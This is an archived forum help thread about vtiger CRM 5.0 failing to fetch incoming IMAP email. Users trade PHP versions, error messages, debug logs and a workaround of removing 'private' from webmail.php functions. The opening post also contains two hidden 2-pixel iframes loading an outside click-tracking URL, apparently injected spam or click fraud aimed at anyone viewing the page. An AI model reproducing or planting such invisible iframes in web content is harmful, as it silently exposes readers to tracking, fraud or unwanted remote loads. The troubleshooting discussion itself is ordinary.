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Cannot get Incoming Email working

alltribzalltribz
edited April 2007 in Help - 5.0.2 Vote Up0Vote Down
I have tried everything in all the posts. If ayone has any new ideas pls help me. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
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Comments

  • 47 Comments sorted by Votes Date Added
  • seanzyvilleseanzyville
    Vote Up0Vote Down
    same problem here.
  • rbennettrbennett
    Vote Up0Vote Down
    what is your set up?

    what kind of environment are you in? i need some details to be able to help you.

    -bennett
  • seanzyvilleseanzyville
    Vote Up0Vote Down
    i just installed the latest vtiger 5. imap doesnt seem to work. i cant get incomming email only outgoing.

    im using a linux based server with php4.x
  • RVRV
    Vote Up0Vote Down
    same here on three different install.
    allways the same, i allready post the informations.
    but i repost again, here.
    vt running on a sme 7.0 server, wich is very close to centos 4.3 (gpl version of rhel 4.3).
    imap 4 working. we can't plan to migrate to php5 until a few monthes (to young for us in a production environment).
    the only relevant logs we have is in /var/log/messages :
    httpd: php parse error: parse error, unexpected t_string, expecting t_old_function or t_function or t_var or '}' in /home/e-smith/files/ibays/vtigerga/html/modules/webmails/webmail.php on line 147

    thks for ideas ...
    rv.
  • RVRV
    Vote Up0Vote Down
    up !
    <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->
    i can add that it uses to work with the latest beta (5?), in july.
    my servers didn't change a lot since that time.

    please give us a direction in wich searching. we can't deploy by our customers if they can't deal with mails. i think i've tried lot of things, is there a specific php-imap library to use ?
    we have installed on our servers :
    php-imap-4.3.9-3.15

    please, it's becoming urgent.

    thks,
    rv.
    p.s. : shall i create a bug in the tracker, since it seems that not all users have this pb (specific to linux users ?).
  • RVRV
    Vote Up0Vote Down
    thks *a lot*, mike for pointing us a direction to search in.

    after many reflexions, we are not near to upgrade to php5 on our customer's production server's.

    we are working on differencies between the beta2 script and the ga's to try to find a fix to make it working with php4. if the vt team has some ideas ...

    <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->
    but thanks again, mike, for your precise & helpfull post.

    a+,
    rv.
  • RVRV
    Vote Up0Vote Down
    found !!!
    <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->

    the pb cames from the way to declare the functions inside the /modules/webmail.php :
    the "private" tag before the name of the function !

    we made a try without thopse "private", and it seems to work.

    for the moment, we have a little pb with the size of the window in wich mail are displayed (see screenshot as attchment). if someone knows how to change this size declaration (ajax ?) ...

    after testing, we will propose the patch in the wiki, but *after* testing ...

    thks again, mike.
  • RVRV
    Vote Up0Vote Down
    attachment missed.
    <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->
  • rbennettrbennett
    Vote Up0Vote Down
    this issue is driving me nuts....

    will you be able to post the changes that you made? i think a lot of people could benefit from this issue.

    by the way, what do you mean by ""private"" i guess i am not understanding the correlation.

    please give us more info... <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d -->

    thanks,

    bennett
  • rbennettrbennett
    Vote Up0Vote Down
    hey mike,

    quick question.. what would happen if you were running imap4 rev1?

    could that be causing the problem?

    i removed all of the "private in the webmail.php.. im still getting the same issue.

    here is the response:

    warning: imap_open() [function.imap-open]: couldn't open stream {xx.xx.xxx.xxx/imap4:143/notls/novalidate-cert/user=user@domain.com}inbox in /home2/root/public_html/crmbeta/modules/webmails/mailbox.php on line 148


    any ideas on what could be wrong?

    i am running 5.0ga on

    php 5.1.6
    mysql 5.0.24
    apache 1.3.37

    this is what i have found in the logs:

    tue oct 10 11:26:05 2006,336 [29192] debug tracker - about to retrieve list: select * from vtiger_tracker inner join vtiger_crmentity on vtiger_crmentity.crmid=vtiger_tracker.item_id where user_id='3' and vtiger_crmentity.deleted=0 order by id desc
    tue oct 10 11:26:05 2006,337 [29192] debug layout_utils - query being executed : select * from vtiger_tracker inner join vtiger_crmentity on vtiger_crmentity.crmid=vtiger_tracker.item_id where user_id='3' and vtiger_crmentity.deleted=0 order by id desc
    tue oct 10 11:26:05 2006,338 [29192] info vt - peardatabase ->adodb fetchbyassoc return null
    tue oct 10 11:26:05 2006,351 [29192] debug layout_utils - entering ispermitted(webmails,index,) method ...
    tue oct 10 11:26:05 2006,352 [29192] debug layout_utils - exiting ispermitted method ...
    tue oct 10 11:26:05 2006,376 [29192] info vt - peardatabase ->adodb disconnect
    tue oct 10 11:26:05 2006,377 [29192] info vt - peardatabase ->entering mailbox(inbox)
    tue oct 10 11:26:05 2006,378 [29192] debug layout_utils - entering getmailserverinfo(object id #31) method ...
    tue oct 10 11:26:05 2006,378 [29192] debug layout_utils - query being executed : select * from vtiger_mail_accounts where status=1 and user_id=3
    tue oct 10 11:26:05 2006,379 [29192] debug layout_utils - exiting getmailserverinfo method ...
    tue oct 10 11:26:05 2006,382 [29192] info vt - peardatabase ->setting mailbox name
    tue oct 10 11:26:05 2006,382 [29192] info vt - peardatabase ->opening mailbox
    tue oct 10 11:26:05 2006,382 [29192] info vt - peardatabase ->entering getimapmbox()
    tue oct 10 11:26:05 2006,390 [29192] info vt - peardatabase ->parsing php modules
    tue oct 10 11:26:05 2006,391 [29192] info vt - peardatabase ->building connection string
    tue oct 10 11:26:05 2006,391 [29192] info vt - peardatabase ->done building connection string.. connecting to box
    tue oct 10 11:26:05 2006,392 [29192] info vt - peardatabase ->done connecting to box
    tue oct 10 11:26:05 2006,393 [29192] info vt - peardatabase ->loading mail list
    tue oct 10 11:26:05 2006,393 [29192] info vt - peardatabase ->exiting mailbox(inbox)

    any help would be great.

    thanks,

    bennett
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